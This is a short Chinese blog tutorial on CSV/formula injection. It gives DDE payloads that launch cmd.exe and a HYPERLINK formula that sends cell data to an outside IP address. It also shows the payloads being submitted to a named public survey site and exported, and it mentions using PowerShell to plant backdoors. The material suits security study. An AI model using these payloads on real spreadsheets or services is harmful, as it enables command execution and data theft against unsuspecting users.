

csv注入漏洞原理&&实战

前言

为了找工作，巩固巩固知识。本文会介绍 csv 注入漏洞的原理，最后给出一个示例。

正文

在 csv 文件和 xlsx 文件中的每一项的值如果是 =, @, +, - 就会被 excel 识别为一个公式，此时可以注入 **系统命令** 实现命令执行。

常用 payload：

```
=cmd|'/c calc'!A0 # 弹计算器
```

```
=MSEXCEL|'..\..\..\Windows\System32\cmd.exe /c calc.exe'!' # 弹计算器
```

```
=HYPERLINK("http://vps_ip?test="&A2&A3,"Error: Please click me!") # 发起 http请求 获取数据
```

示例

目标网址

<http://www.starrysurvey.com/>

首先自己创建一个在线报表，然后让用户填入 payload

星点调查

新建标签页

← → ↺ 🏠

www.starrysurvey.com/survey/index/be8f084c-44cd-49d8-8e82-459d5

XXX

1. 第一页

完成度

* 1.xsfdasdf

=cmd|/c calc!A0

完成

首页 我的调查 地址簿 版本价格

+ 创建问卷

设计调查 发布调查 结果分析

XXX

进度查询 结果分析 浏览答卷 下载结果 分享结果

当前报告

调查报告

新建报告

已导出报告列表

导出时间 调查名称 报表名称 操作

2018-03-11 16:33 xxx 调查报告 (结果概要) 下载 删除

2018-03-11 16:32 xxx 调查报告 (结果概要) 下载 删除

打开导出的 xlsx 文件，可以看到没被过滤，成功注入了表达式。双击它在点出去（貌似这样才能使 excel 识别这个为一个公式，excel 2007，2010 测试）即可打开 计算器

2				
3	xsfdasdf			
4	=HYPERLINK("http://45.63.0.120:8888?test="&A2&A3,"Error: Please click m	2018-03-11 16:33		
5	=cmd ' /c calc' !A0	2018-03-11 16:31		
6				
7				
8				
9				
0				

真正用于渗透测试的话，可以借助 powershell 等手段 植入后门。

参考

<http://www.freebuf.com/articles/system/160797.html>

<https://www.contextis.com/blog/comma-separated-vulnerabilities>

<http://blog.knownsec.com/2016/05/csv-injection-vulnerability/>

来源: <https://www.cnblogs.com/hac425/p/9416941.html>